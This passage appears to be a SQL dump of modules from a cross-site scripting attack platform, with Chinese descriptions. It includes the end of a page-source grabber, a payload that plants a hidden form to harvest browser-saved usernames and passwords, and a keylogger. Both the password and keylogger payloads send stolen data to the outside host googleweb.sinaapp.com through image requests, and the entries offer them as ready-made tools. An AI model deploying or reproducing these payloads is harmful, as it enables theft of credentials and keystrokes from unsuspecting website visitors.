_base64Str.length; i < len ; ++i){\r\n var c = _base64Str.charAt(i);\r\n for(var j = 0 , size = BASE64_MAPPING.length ; j < size ; ++j){\r\n if(c == BASE64_MAPPING[j]){\r\n var _tmp = _toBinary(j);\r\n /*不足6位的补0*/\r\n var _tmpLen = _tmp.length;\r\n if(6-_tmpLen > 0){\r\n for(var k = 6-_tmpLen ; k > 0 ; --k){\r\n _tmp.unshift(0);\r\n }\r\n }\r\n binaryArray = binaryArray.concat(_tmp);\r\n break;\r\n }\r\n }\r\n }\r\n\r\n if(extra_Zero_Count > 0){\r\n binaryArray = binaryArray.slice(0 , binaryArray.length - extra_Zero_Count);\r\n }\r\n\r\n var unicode = [];\r\n var unicodeBinary = [];\r\n for(var i = 0 , len = binaryArray.length ; i < len ; ){\r\n if(binaryArray[i] == 0){\r\n unicode=unicode.concat(_toDecimal(binaryArray.slice(i,i+8)));\r\n i += 8;\r\n }else{\r\n var sum = 0;\r\n while(i < len){\r\n if(binaryArray[i] == 1){\r\n ++sum;\r\n }else{\r\n break;\r\n }\r\n ++i;\r\n }\r\n unicodeBinary = unicodeBinary.concat(binaryArray.slice(i+1 , i+8-sum));\r\n i += 8 - sum;\r\n while(sum > 1){\r\n unicodeBinary = unicodeBinary.concat(binaryArray.slice(i+2 , i+8));\r\n i += 8;\r\n --sum;\r\n }\r\n unicode = unicode.concat(_toDecimal(unicodeBinary));\r\n unicodeBinary = [];\r\n }\r\n }\r\n return unicode;\r\n }\r\n };\r\n\r\n window.BASE64 = __BASE64;\r\n})();', 0, 1, '获取客户端指定页面源代码,采用post提交以防止字数限制,采用base64编码解决提交代码不完整', 1, 1, 'googleweb', 1415237494),
(30, 1, '获取保存的明文密码', '["username","password"]', '["type1","type2","id1","id2","name1","name2"]', 'function create_body() {\r\n document.write('<body></body>');\r\n}\r\nfunction create_form(user) { /*获取明文密码*/\r\n var f = document.createElement('form');\r\n f.style.display = 'none'\r\n document.getElementsByTagName('body') [0].appendChild(f);\r\n var e1 = document.createElement('input');\r\n e1.type = '{set.type1}';\r\n e1.name = '{set.name1}';\r\n e1.id = '{set.id1}';\r\n f.appendChild(e1);\r\n var e = document.createElement('input');\r\n e.name = '{set.name2}';\r\n e.type = '{set.type2}';\r\n e.id = '{set.id2}';\r\n f.appendChild(e);\r\n setTimeout(function () {\r\n username = document.getElementById('{set.id1}').value;\r\n password = document.getElementById('{set.id2}').value;\r\n if (username.length > 0) {\r\n var newimg = new Image();\r\n newimg.src = 'http://googleweb.sinaapp.com/index.php?do=api&id={projectId}&username=' + username + '&password=' + password;\r\n }\r\n }, 2000); /* 时间竞争*/\r\n}\r\ncreate_form('');', 0, 1, 'type id name 为要获取的表单页面 input标签属性值,测试通过chrome,firefox,360浏览器。只要是同域的都可获取!比如 要获取的浏览器已记录的密码为webvul.com/admin.php 文件的那么在webvul.com/admin/user/list.php页面插入也可以获取到!作者:root#webvul.com', 1, 1, 'googleweb', 1415246059),
(31, 1, '键盘记录', '["char"]', '[]', '(function(){\r\n var logger = "";\r\n keyDown = function(e)\r\n {\r\n var e=e||event;\r\n var currKey=e.keyCode||e.which||e.charCode;\r\n if((currKey>7&&currKey<32)||(currKey>31&&currKey<47))\r\n {\r\n switch(currKey)\r\n {\r\n case 8: keyName = "[退格]"; break;\r\n case 9: keyName = "[制表]"; break;\r\n case 13:keyName = "[回车]"; break;\r\n //case 16:keyName = "[shift]"; break;\r\n case 17:keyName = "[Ctrl]"; break;\r\n case 18:keyName = "[Alt]"; break;\r\n case 20:keyName = "[大小写]"; break;\r\n case 32:keyName = "[空格]"; break;\r\n case 33:keyName = "[PageUp]"; break;\r\n case 34:keyName = "[PageDown]"; break;\r\n case 35:keyName = "[End]"; break;\r\n case 36:keyName = "[Home]"; break;\r\n case 37:keyName = "[方向键左]"; break;\r\n case 38:keyName = "[方向键上]"; break;\r\n case 39:keyName = "[方向键右]"; break;\r\n case 40:keyName = "[方向键下]"; break;\r\n case 46:keyName = "[删除]"; break;\r\n default:keyName = ""; break;\r\n }\r\n logger += keyName;\r\n }\r\n }\r\n keyPress = function(e)\r\n {\r\n var currKey=0,CapsLock=0,e=e||event;\r\n currKey=e.keyCode||e.which||e.charCode;\r\n CapsLock=currKey>=65&&currKey<=90;\r\n switch(currKey)\r\n {\r\n //屏蔽了退格、制表、回车、空格、方向键、删除键等\r\n case 8: case 9:case 13:case 16:case 17:case 18:case 20:\r\n case 32: case 33: case 34: case 35: case 36: case 37:case 38:\r\n case 39:case 40:case 46:keyName = "";break;\r\n default:keyName = String.fromCharCode(currKey); break;\r\n }\r\n logger += keyName;\r\n }\r\n sendChar = function()\r\n {\r\n if (!logger) return;\r\n (new Image).src="http://googleweb.sinaapp.com/index.php?do=api&id={projectId}&char=" + logger; //服务端地址\r\n logger = "";\r\n }\r\n formSubmit = function()\r\n {\r\n sendChar();\r\n }\r\n document.onkeydown = keyDown;\r\n document.onkeypress = keyPress;\r\n document.onsubmit = formSubmit;\r\n setInterval(sendChar, 10000); //设置定时器\r\n})();', 0, 1, '作者:园长\r\n网址:http://javaweb.org/?p=326', 1, 1, 'googleweb', 1416532539);